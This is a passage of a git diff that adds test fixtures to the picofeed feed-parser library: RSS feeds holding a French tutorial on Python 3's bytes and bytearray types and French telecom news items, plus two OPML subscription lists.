+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8177&amp;md5=0929d9232ef6125d29da5de891ac4d52" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/introduction-a-ansible-loutil-du-sysadmin-paresseux-mais-pragmatique/feed/</wfw:commentRss>
+ <slash:comments>28</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fintroduction-a-ansible-loutil-du-sysadmin-paresseux-mais-pragmatique%2F&amp;language=en_GB&amp;category=text&amp;title=Introduction+%C3%A0+Ansible%3A+l%E2%80%99outil+du+sysadmin+paresseux+mais+pragmatique&amp;description=Ceci+est+un+post+invit%C3%A9+de+VonTenia+post%C3%A9+sous+licence+creative+common+3.0+unported.+Je+profite+du+fait+que+Sam+%26%23038%3B+Max+me+donnent+la+parole+pour+vous+parler+d%E2%80%99Ansible%2C...&amp;tags=blog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/sysadmin-hanged.jpg" length="167782" type="image/jpg" /> </item>
+ <item>
+ <title>En Python 3, le type bytes est un array d&#8217;entiers</title>
+ <link>http://sametmax.com/en-python-3-le-type-bytes-est-un-array-dentiers/</link>
+ <comments>http://sametmax.com/en-python-3-le-type-bytes-est-un-array-dentiers/#comments</comments>
+ <pubDate>Thu, 05 Dec 2013 16:00:32 +0000</pubDate>
+ <dc:creator>Sam</dc:creator>
+ <category><![CDATA[Programmation]]></category>
+ <category><![CDATA[ascii]]></category>
+ <category><![CDATA[bytes]]></category>
+ <category><![CDATA[encoding]]></category>
+ <category><![CDATA[python]]></category>
+ <category><![CDATA[str]]></category>
+ <category><![CDATA[unicode]]></category>
+ <category><![CDATA[utf8]]></category>
+
+ <guid isPermaLink="false">http://sametmax.com/?p=8160</guid>
+ <description><![CDATA[Le plus gros changement quand on passe de Python 2 à Python 3, c'est la gestion des chaînes de caractères.]]></description>
+ <content:encoded><![CDATA[<p>Le plus gros changement quand on passe de Python 2 à Python 3, c&#8217;est la gestion des chaînes de caractères.</p>
+<p>Pour rappel :</p>
+<ul>
+<li>En 2.7, les chaînes sont par défaut des arrays d&#8217;octets, et il faut les décoder pour obtenir de l&#8217;unicode.</li>
+<li>En 3, les chaînes sont par défaut de type &#8216;unicode&#8217;, et il faut les encoder pour obtenir de un array d&#8217;octets.</li>
+</ul>
+<p>Si vous avez besoin d&#8217;une mise à jour sur l&#8217;encoding en Python, on <a href="http://sametmax.com/lencoding-en-python-une-bonne-fois-pour-toute/">a un article pour ça</a>.</p>
+<p>Comme toute entrée ou sortie est forcément un flux d&#8217;octets, mais pas forcément dans le même encodage, Python 2.7 pouvait poser problème pour le débutant qui essayait de comprendre pourquoi son programme plantait, bordel de merde.</p>
+<p>La version 3 prend plusieurs mesures pour éviter les bugs vicieux liés à l&#8217;encodage de caractères:</p>
+<ul>
+<li>L&#8217;encodage par défaut du code est UTF8.</li>
+<li>L&#8217;encodage par défaut de lecture et d&#8217;écriture est UTF8.</li>
+<li>On ne peut plus mélanger &#8216;bytes&#8217; et &#8216;unicode&#8217;.</li>
+<li>Les messages d&#8217;erreur expliquent clairement et tôt tout problème.</li>
+</ul>
+<p>La plupart du temps, quand on va manipuler du texte, on va donc toujours manipuler de l&#8217;unicode, en Python 3. Ce dernier va nous forcer à faire le décodage / encodage au bon moment.</p>
+<p>Mais il restera quelques fois le besoin de manipuler du <code>bytes</code>, et ce type a subi un lifting&#8230;</p>
+<h2>La base</h2>
+<p>Créer un array d&#8217;octets (le type <code>bytes</code>&#8216;, en Python 3) demande de préfixer une chaîne avec &#8216;b&#8217; :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> s = b<span style="color: #483d8b;">'I am evil, stop laughing!'</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">type</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&lt;</span>class <span style="color: #483d8b;">'bytes'</span><span style="color: #66cc66;">&gt;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>
+b<span style="color: #483d8b;">'I am evil, stop laughing!'</span></pre></div></div>
+
+<p>Première remarque, on ne peut plus utiliser ce type pour afficher quoi que ce soit, puisque l&#8217;affichage est une représentation du type (appel à <code>__repr__</code>), et pas du texte mis en forme. Déjà Python vous indique la couleur : si vous voulez manipulez du texte, n&#8217;utilisez pas ce type.</p>
+<p>Comparez avec le type unicode :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> u = s.<span style="color: black;">decode</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'utf8'</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">type</span><span style="color: black;">&#40;</span>u<span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&lt;</span>class <span style="color: #483d8b;">'str'</span><span style="color: #66cc66;">&gt;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>u<span style="color: black;">&#41;</span>
+I am evil, stop laughing<span style="color: #66cc66;">!</span></pre></div></div>
+
+<p>L&#8217;affichage marche comme on s&#8217;y attend. Bref, vous êtes forcé de toujours rester sur de l&#8217;unicode (le type <code>str</code> en Python 3, ce qui porte à confusion) si vous manipulez du texte. Heureusement, c&#8217;est quasiment toujours ce que vous aurez.</p>
+<p>Par exemple, si vous ouvrez un fichier en Python 3 :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> content = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'/etc/fstab'</span><span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">type</span><span style="color: black;">&#40;</span>content<span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&lt;</span>class <span style="color: #483d8b;">'str'</span><span style="color: #66cc66;">&gt;</span></pre></div></div>
+
+<p>C&#8217;est du texte. A moins de demander qu&#8217;il soit ouvert en mode binaire :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;&gt;</span> content = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'/etc/fstab'</span>, <span style="color: #483d8b;">'rb'</span><span style="color: black;">&#41;</span>.<span style="color: black;">read</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">type</span><span style="color: black;">&#40;</span>content<span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&lt;</span>class <span style="color: #483d8b;">'bytes'</span><span style="color: #66cc66;">&gt;</span></pre></div></div>
+
+<p>Une autre différence MAJEURE, c&#8217;est que, si dans Python 2.7, les arrays d&#8217;octets pouvaient être manipulés comme un array de lettres :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> s = <span style="color: #483d8b;">'I put the goal in golem...'</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> s<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># en Python 2.7</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #483d8b;">'I'</span></pre></div></div>
+
+<p>En Python 3, les array d&#8217;octets sont au mieux manipulables comme un array d&#8217;entiers :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> s = b<span style="color: #483d8b;">'I put the goal in golem...'</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> s<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> <span style="color: #808080; font-style: italic;"># en Python 3</span>
+<span style="color: #ff4500;">73</span></pre></div></div>
+
+<p>La représentation sous forme de lettre est gardée pour l&#8217;initialisation pour des raisons pratiques, mais sous le capot, il se passe ça:</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #dc143c;">bytes</span><span style="color: black;">&#40;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">73</span>, <span style="color: #ff4500;">32</span>, <span style="color: #ff4500;">112</span>, <span style="color: #ff4500;">117</span>, <span style="color: #ff4500;">116</span>, <span style="color: #ff4500;">32</span>, <span style="color: #ff4500;">116</span>, <span style="color: #ff4500;">104</span>, <span style="color: #ff4500;">101</span>, <span style="color: #ff4500;">32</span>, <span style="color: #ff4500;">103</span>, <span style="color: #ff4500;">111</span>, <span style="color: #ff4500;">97</span>, <span style="color: #ff4500;">108</span>, <span style="color: #ff4500;">32</span>, <span style="color: #ff4500;">105</span>, <span style="color: #ff4500;">110</span>, <span style="color: #ff4500;">32</span>, <span style="color: #ff4500;">103</span>, <span style="color: #ff4500;">111</span>, <span style="color: #ff4500;">108</span>, <span style="color: #ff4500;">101</span>, <span style="color: #ff4500;">109</span>, <span style="color: #ff4500;">46</span>, <span style="color: #ff4500;">46</span>, <span style="color: #ff4500;">46</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
+b<span style="color: #483d8b;">'I put the goal in golem...'</span></pre></div></div>
+
+<p>D&#8217;ailleurs, on ne peut même plus faire d&#8217;opérations de formatage avec des octets comme en Python 2.7 :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> b<span style="color: #483d8b;">&quot;Welcome to the league of %s&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: #008000;">input</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">''</span><span style="color: black;">&#41;</span>
+Draven
+Traceback <span style="color: black;">&#40;</span>most recent call last<span style="color: black;">&#41;</span>:
+ File <span style="color: #483d8b;">&quot;&lt;stdin&gt;&quot;</span>, line <span style="color: #ff4500;">1</span>, <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #66cc66;">&lt;</span>module<span style="color: #66cc66;">&gt;</span>
+<span style="color: #008000;">TypeError</span>: unsupported operand <span style="color: #008000;">type</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #66cc66;">%</span>: <span style="color: #483d8b;">'bytes'</span> <span style="color: #ff7700;font-weight:bold;">and</span> <span style="color: #483d8b;">'str'</span></pre></div></div>
+
+<p><code>format()</code> ne marche pas non plus. On est assez proche du tableau d&#8217;octets en C, sauf qu&#8217;en plus, on ne peut pas le modifier :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> s = b<span style="color: #483d8b;">&quot;My right arm is a lot stronger than my left arm.&quot;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> s<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span> = <span style="color: #ff4500;">1</span>
+Traceback <span style="color: black;">&#40;</span>most recent call last<span style="color: black;">&#41;</span>:
+ File <span style="color: #483d8b;">&quot;&lt;stdin&gt;&quot;</span>, line <span style="color: #ff4500;">1</span>, <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #66cc66;">&lt;</span>module<span style="color: #66cc66;">&gt;</span>
+<span style="color: #008000;">TypeError</span>: <span style="color: #483d8b;">'bytes'</span> <span style="color: #008000;">object</span> does <span style="color: #ff7700;font-weight:bold;">not</span> support item assignment</pre></div></div>
+
+<p>Les arrays d&#8217;octets sont donc maintenant essentiellement des outils de communication avec le monde extérieur.</p>
+<h2>Bytearray</h2>
+<p>Il existe encore des raisons de manipuler des arrays d&#8217;octets : les applications scientifiques. Typiquement, les algos de crypto opérent sur des arrays d&#8217;octets.</p>
+<p>Pour cette raison, Python 3 vient également avec un nouveau type de base : <code>bytearray</code>, un array d&#8217;octets modifiable.</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> s = <span style="color: #dc143c;">bytearray</span><span style="color: black;">&#40;</span>b<span style="color: #483d8b;">&quot;this tasted purple !&quot;</span><span style="color: black;">&#41;</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> s<span style="color: black;">&#91;</span><span style="color: #ff4500;">2</span>:<span style="color: #ff4500;">4</span><span style="color: black;">&#93;</span> = b<span style="color: #483d8b;">'at'</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>
+<span style="color: #dc143c;">bytearray</span><span style="color: black;">&#40;</span>b<span style="color: #483d8b;">'that tasted purple !'</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Et on a toutes les opérations de liste dessus, comme <code>append</code>, <code>pop()</code>, etc :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">for</span> x <span style="color: #ff7700;font-weight:bold;">in</span> b<span style="color: #483d8b;">' ,puY'</span>:
+... <span style="color: black;">s</span>.<span style="color: black;">insert</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>, x<span style="color: black;">&#41;</span>
+...
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #ff7700;font-weight:bold;">print</span><span style="color: black;">&#40;</span>s<span style="color: black;">&#41;</span>
+<span style="color: #dc143c;">bytearray</span><span style="color: black;">&#40;</span>b<span style="color: #483d8b;">'Yup, that tasted purple !'</span><span style="color: black;">&#41;</span></pre></div></div>
+
+<p>Attention par contre, ces opérations attendent un entier en paramètres et NON un array d&#8217;octets.</p>
+<p>Et un dernier détail :</p>
+
+<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">isinstance</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">bytes</span>, <span style="color: #dc143c;">bytearray</span><span style="color: black;">&#41;</span>
+<span style="color: #008000;">False</span>
+<span style="color: #66cc66;">&gt;&gt;&gt;</span> <span style="color: #008000;">isinstance</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">bytearray</span>, <span style="color: #dc143c;">bytes</span><span style="color: black;">&#41;</span>
+<span style="color: #008000;">False</span></pre></div></div>
+
+<h2>Différence entre string et array d&#8217;octets</h2>
+<p>Il est facile de confondre tout ce merdier.</p>
+<p>En Python 2.7, le type <code>str</code> était un array d&#8217;octets, et on le manipulait comme une chaîne, d&#8217;où la difficulté de transition.</p>
+<p>En Python 3, bien qu&#8217;on puisse créer un array d&#8217;octets avec une syntaxe utilisant des lettres, ils ne sont plus du tout utilisés pour la manipulation de texte. Si vous voulez manipuler du texte qui vient de l&#8217;extérieur de votre programme, il faudra toujours le décoder pour obtenir un type <code>str</code> (qui est l&#8217;ancien type <code>unicode</code> de Python 2.7).</p>
+<p>Le décodage sera fait automatiquement dans la plupart des cas, et plantera si on tombe sur un cas où vous devez le faire à la main et que vous ne le faites pas. Du coup, plus de difficulté à trouver d&#8217;où vient ce bug d&#8217;encoding, car on a toujours l&#8217;erreur à la source. </p>
+<p>En ce sens, Python 3 est beaucoup plus clair : les octets d&#8217;un côté, le texte de l&#8217;autre. Bon, tout ça c&#8217;est de la surcouche, au final, tout est octet. Mais on a rarement envie de manipuler un octet directement, sinon on coderait encore en assembleur.</p>
+<p>Avec ce système, Python 3 est le langage le plus sain que j&#8217;ai pu rencontrer dans sa gestion de l&#8217;encodage : il ne cache rien, oblige l&#8217;utilisateur à coder avec de bonnes habitudes, facilite le débugage et met sur le devant de la scène la problématique de l&#8217;encoding, qui est le plus souvent cachée vite fait sous le tapis.</p>
+<p>L&#8217;alternative intelligente la plus proche étant celle de node.js, qui <a href="https://github.com/joyent/node/blob/master/lib/buffer.js#L126">interdit tout simplement la plupart des encodings dans son API</a>.</p>
+<p>La bonne nouvelle ? 99% du temps, vous n&#8217;aurez même pas à vous en soucier, car ASCII est inclus dans UTF8, et ce sont les encodings les plus utilisés. Avec Python 3 forçant UTF8 par défaut partout et des chaînes en unicode dès le départ, il n&#8217;y a presque rien à faire. Je doute que la plupart des gens aient même à manipuler le type <code>bytes</code>.</p>
+ <p><a href="http://sametmax.com/?flattrss_redirect&amp;id=8160&amp;md5=71b1c2304c867db19a765d673fbf002f" title="Flattr" target="_blank"><img src="http://sametmax.com/wp-content/plugins/flattr/img/flattr-badge-large.png" alt="flattr this!"/></a></p>]]></content:encoded>
+ <wfw:commentRss>http://sametmax.com/en-python-3-le-type-bytes-est-un-array-dentiers/feed/</wfw:commentRss>
+ <slash:comments>16</slash:comments>
+ <atom:link rel="payment" title="Flattr this!" href="https://flattr.com/submit/auto?user_id=sam_et_max&amp;popout=1&amp;url=http%3A%2F%2Fsametmax.com%2Fen-python-3-le-type-bytes-est-un-array-dentiers%2F&amp;language=en_GB&amp;category=text&amp;title=En+Python+3%2C+le+type+bytes+est+un+array+d%26%238217%3Bentiers&amp;description=Le+plus+gros+changement+quand+on+passe+de+Python+2+%C3%A0+Python+3%2C+c%26%238217%3Best+la+gestion+des+cha%C3%AEnes+de+caract%C3%A8res.+Pour+rappel+%3A+En+2.7%2C+les+cha%C3%AEnes+sont+par+d%C3%A9faut...&amp;tags=ascii%2Cbytes%2Cencoding%2Cpython%2Cstr%2Cunicode%2Cutf8%2Cblog" type="text/html" />
+<enclosure url="http://sametmax.com/wp-content/uploads/2013/12/CRutQrO.jpg" length="140436" type="image/jpg" /> </item>
+ </channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/subscriptionList.opml b/vendor/fguillot/picofeed/tests/fixtures/subscriptionList.opml
new file mode 100644
index 000000000..d17bcddc1
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/subscriptionList.opml
@@ -0,0 +1 @@
+<?xml version="1.0" encoding="ISO-8859-1"?> <opml version="2.0"> <head> <title>mySubscriptions.opml</title> <dateCreated>Sat, 18 Jun 2005 12:11:52 GMT</dateCreated> <dateModified>Tue, 02 Aug 2005 21:42:48 GMT</dateModified> <ownerName>Dave Winer</ownerName> <ownerEmail>dave@scripting.com</ownerEmail> <expansionState></expansionState> <vertScrollState>1</vertScrollState> <windowTop>61</windowTop> <windowLeft>304</windowLeft> <windowBottom>562</windowBottom> <windowRight>842</windowRight> </head> <body> <outline text="CNET News.com" description="Tech news and business reports by CNET News.com. Focused on information technology, core topics include computers, hardware, software, networking, and Internet media." htmlUrl="http://news.com.com/" language="unknown" title="CNET News.com" type="rss" version="RSS2" xmlUrl="http://news.com.com/2547-1_3-0-5.xml"/> <outline text="Google blog" description="Google" htmlUrl="http://googleblog.blogspot.com/" language="unknown" title="CNET News.com" type="rss" version="RSS2" xmlUrl="http://feeds.feedburner.com/blogspot/MKuf?format=xml"/> <outline text="washingtonpost.com - Politics" description="Politics" htmlUrl="http://www.washingtonpost.com/wp-dyn/politics?nav=rss_politics" language="unknown" title="washingtonpost.com - Politics" type="rss" version="RSS2" xmlUrl="http://www.washingtonpost.com/wp-srv/politics/rssheadlines.xml"/> <outline text="Scobleizer: Microsoft Geek Blogger" description="Robert Scoble's look at geek and Microsoft life." htmlUrl="http://radio.weblogs.com/0001011/" language="unknown" title="Scobleizer: Microsoft Geek Blogger" type="rss" version="RSS2" xmlUrl="http://radio.weblogs.com/0001011/rss.xml"/> <outline text="Yahoo! News: Technology" description="Technology" htmlUrl="http://news.yahoo.com/news?tmpl=index&amp;cid=738" language="unknown" title="Yahoo! News: Technology" type="rss" version="RSS2" xmlUrl="http://rss.news.yahoo.com/rss/tech"/> <outline text="Workbench" description="Programming and publishing news and comment" htmlUrl="http://www.cadenhead.org/workbench/" language="unknown" title="Workbench" type="rss" version="RSS2" xmlUrl="http://www.cadenhead.org/workbench/rss.xml"/> <outline text="Christian Science Monitor | Top Stories" description="Read the front page stories of csmonitor.com." htmlUrl="http://csmonitor.com" language="unknown" title="Christian Science Monitor | Top Stories" type="rss" version="RSS" xmlUrl="http://www.csmonitor.com/rss/top.rss"/> <outline text="Dictionary.com Word of the Day" description="A new word is presented every day with its definition and example sentences from actual published works." htmlUrl="http://dictionary.reference.com/wordoftheday/" language="unknown" title="Dictionary.com Word of the Day" type="rss" version="RSS" xmlUrl="http://www.dictionary.com/wordoftheday/wotd.rss"/> <outline text="The Motley Fool" description="To Educate, Amuse, and Enrich" htmlUrl="http://www.fool.com" language="unknown" title="The Motley Fool" type="rss" version="RSS" xmlUrl="http://www.fool.com/xml/foolnews_rss091.xml"/> <outline text="InfoWorld: Top News" description="The latest on Top News from InfoWorld" htmlUrl="http://www.infoworld.com/news/index.html" language="unknown" title="InfoWorld: Top News" type="rss" version="RSS2" xmlUrl="http://www.infoworld.com/rss/news.xml"/> <outline text="NYT &gt; Business" description="Find breaking news &amp; business news on Wall Street, media &amp; advertising, international business, banking, interest rates, the stock market, currencies &amp; funds." htmlUrl="http://www.nytimes.com/pages/business/index.html?partner=rssnyt" language="unknown" title="NYT &gt; Business" type="rss" version="RSS2" xmlUrl="http://www.nytimes.com/services/xml/rss/nyt/Business.xml"/> <outline text="NYT &gt; Technology" description="" htmlUrl="http://www.nytimes.com/pages/technology/index.html?partner=rssnyt" language="unknown" title="NYT &gt; Technology" type="rss" version="RSS2" xmlUrl="http://www.nytimes.com/services/xml/rss/nyt/Technology.xml"/> <outline text="Scripting News" description="It's even worse than it appears." htmlUrl="http://www.scripting.com/" language="unknown" title="Scripting News" type="rss" version="RSS2" xmlUrl="http://www.scripting.com/rss.xml"/> <outline text="Wired News" description="Technology, and the way we do business, is changing the world we know. Wired News is a technology - and business-oriented news service feeding an intelligent, discerning audience. What role does technology play in the day-to-day living of your life? Wired News tells you. How has evolving technology changed the face of the international business world? Wired News puts you in the picture." htmlUrl="http://www.wired.com/" language="unknown" title="Wired News" type="rss" version="RSS" xmlUrl="http://www.wired.com/news_drop/netcenter/netcenter.rdf"/> </body> </opml> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/tinytinyrss.opml b/vendor/fguillot/picofeed/tests/fixtures/tinytinyrss.opml
new file mode 100644
index 000000000..87f6351ee
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/tinytinyrss.opml
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<opml version="1.0">
+ <head>
+ <dateCreated>Tue, 19 Mar 2013 10:21:06 +0000</dateCreated>
+ <title>Tiny Tiny RSS Feed Export</title>
+ </head>
+ <body>
+ <outline text="coding">
+ <outline text="La Ferme du web" xmlUrl="http://feeds.lafermeduweb.net/LaFermeDuWeb" htmlUrl="http://www.lafermeduweb.net"/>
+ <outline text="Planète jQuery" xmlUrl="http://feeds.feedburner.com/PlaneteJqueryFr" htmlUrl="http://planete-jquery.fr"/>
+ </outline>
+ </body>
+</opml> \ No newline at end of file
diff --git a/vendor/fguillot/picofeed/tests/fixtures/univers_freebox.xml b/vendor/fguillot/picofeed/tests/fixtures/univers_freebox.xml
new file mode 100644
index 000000000..7c7ae4938
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/univers_freebox.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="iso-8859-1"?><rss version="0.92"><channel><title>Univers Freebox</title><link>http://www.universfreebox.com</link><description>Univers Freebox - Toute l'actualité de Free et sa Freebox et bien plus encore...</description><image><title>Univers Freebox</title><link>http://www.universfreebox.com</link><url>http://www.universfreebox.com/images/logo.jpg</url></image><item><title><![CDATA[Retour de Xavier Niel sur Twitter, « sans initiative privée, pas de révolution #Born2code »]]></title><link>http://www.universfreebox.com/article20302.html</link><pubDate>Mon, 25 Mar 2013 20:43:20 +0100</pubDate><description><![CDATA[ 
+Xavier Niel est de retour sur Twitter ! Le co-fondateur du groupe Iliad, maison-mère de Free, vient tout juste d'apporter un peu de piment au buzz qui a agité la toile aujourd'hui. Le patron emblématique de Free explique sur Twitter que « sans initiative privée, pas révolution ». Le tweet est accompagné d' (...)]]></description></item><item><title><![CDATA[Exclu : L'annonce de Xavier Niel sera diffusée en direct sur le site live.born2code.fr]]></title><link>http://www.universfreebox.com/article20301.html</link><pubDate>Mon, 25 Mar 2013 20:12:46 +0100</pubDate><description><![CDATA[Le jeu de piste initié par Free n'est pas terminé ! Bien au contraire, au fil de nos recherches, nous avons découvert une nouvelle page sur le site Born2code : http://live.born2code.fr. Nous pouvons donc supposer que l'annonce de Xavier Niel sera retransmise, demain à 10h45, en direct depuis le siège d'Iliad. (...)]]></description></item><item><title><![CDATA[High-Tech : Zoé la remplaçante de Siri dotée d'émotions...]]></title><link>http://www.universfreebox.com/article20300.html</link><pubDate>Mon, 25 Mar 2013 19:06:37 +0100</pubDate><description><![CDATA[Le Siri d'Apple bientôt "has been" ?  Le développement des assistants personnels numérique vient de prendre un nouveau virage. Zoé est un avatar conçu par des chercheurs de Cambridge et de Toshiba. Cette nouvelle interface de gestion serait doté d'un visage présent sur les écrans et vous parlera avec les des (...)]]></description></item><item><title><![CDATA[Nouveau sommet historique pour l'action Iliad]]></title><link>http://www.universfreebox.com/article20299.html</link><pubDate>Mon, 25 Mar 2013 18:09:00 +0100</pubDate><description><![CDATA[Le buzz lancé par Xavier Niel, dont nous vous faisions l'écho ce matin, s'est propagé aux marchés financiers et a permis à l'action du groupe Iliad d'atteindre un nouveau sommet historique. Le titre commence bien la semaine en atteignant 164,70 euros (en hausse de 3.29%). Les performances de l'action Iliad pe (...)]]></description></item><item><title><![CDATA[Neutralité du Net et des réseaux : l'ARCEP lance un dispositif de mesures.]]></title><link>http://www.universfreebox.com/article20298.html</link><pubDate>Mon, 25 Mar 2013 17:06:16 +0100</pubDate><description><![CDATA[ Après homologation de la décision de l'ARCEP par le ministre chargé des communications électronique, l'autorité de régulation annonce la mise en place d'un dispositif de mesure et de suivi de la qualité du service fixe d'accès à l'internet. Il s'agira pour l'ARCEP "d'améliorer l'information des internautes e (...)]]></description></item><item><title><![CDATA[OCS passe le cap du million d'abonnés, grâce à sa distribution chez SFR et Canalsat]]></title><link>http://www.universfreebox.com/article20297.html</link><pubDate>Mon, 25 Mar 2013 16:49:29 +0100</pubDate><description><![CDATA[Le bouquet OCS (anciennement Orange Cinéma Série) rencontre un joli succès depuis l'élargissement de sa distribution à d'autres opérateurs. Selon Satellifax, il a dépassé le cap des 1 millions d'abonnés alors qu'il plafonnait à 400 000 lorsqu'il était en distribution exclusive sur le bouquet d'Orange. 
+Le (...)]]></description></item><item><title><![CDATA[Zapping : Un super héros tabassé...]]></title><link>http://www.universfreebox.com/article20294.html</link><pubDate>Mon, 25 Mar 2013 16:04:31 +0100</pubDate><description><![CDATA[Un super héros tabassé, Full métal jacket, Le déprime day, Le succès du tatouage, un dessinateur de phallus, Le show Patrick Sebastien ....Voici le zapping télé du 25 mars 2013 !
+
+Avec notre partenaire ZAP télé (...)]]></description></item><item><title><![CDATA[Annonce de Xavier Niel mardi : Les premiers résultats du jeu de piste]]></title><link>http://www.universfreebox.com/article20293.html</link><pubDate>Mon, 25 Mar 2013 15:30:54 +0100</pubDate><description><![CDATA[L'annonce que fera Xavier Niel demain au siège d'Iliad n'aura pas tardé à livrer ses secrets. Il n' s'agira pas donc pas d'une annonce  concernant Free, mais selon les éléments disponibles d'une école focalisée sur le développement de logiciels.
+En attendant que tous les détails soient donnés demain (nous (...)]]></description></item><item><title><![CDATA[Canalsat par ADSL : 13 nouvelles chaînes HD le 9 avril]]></title><link>http://www.universfreebox.com/article20292.html</link><pubDate>Mon, 25 Mar 2013 14:01:55 +0100</pubDate><description><![CDATA[A compter du 9 avril, Canalsat va accueillir les versions  HD de 13 nouvelles chaînes sur le bouquet ADSL (seule 6 seront disponibles en HD à la même date sur la version satellite). En ce qui concerne les nouvelles chaînes de la TNT (Numéro 23, RMC l'Equipe 21, etc.), Canalsat les proposait déjà en HD sur l'A (...)]]></description></item><item><title><![CDATA[L'internet fixe limité et bridé en données : Deutsche Télékom lance les hostilités ]]></title><link>http://www.universfreebox.com/article20291.html</link><pubDate>Mon, 25 Mar 2013 13:09:41 +0100</pubDate><description><![CDATA[ De l'autre côté du Rhin, l'opérateur Deutsche Télékom à l'intention de couper les vannes de l'internet haut débit illimité. D'après le blog Fanboys.fr qui aurait mis la main sur des documents confidentiels, l'opérateur allemand souhaiterait introduire un bridage de la consommation d'internet une fois un cert (...)]]></description></item><item><title><![CDATA[Free Mobile passe les 1/3 d'utilisateurs sur son réseau, 2/3 en itinérance.]]></title><link>http://www.universfreebox.com/article20290.html</link><pubDate>Mon, 25 Mar 2013 12:31:54 +0100</pubDate><description><![CDATA[ Selon le site freemobile.toosurtoo, spécialisé dans les activations statistiques autour du réseau Free Mobile, l'opérateur aurait dépassé la barre des 33,4 % d'utilisateurs connectés sur Free Mobile et non en itinérance 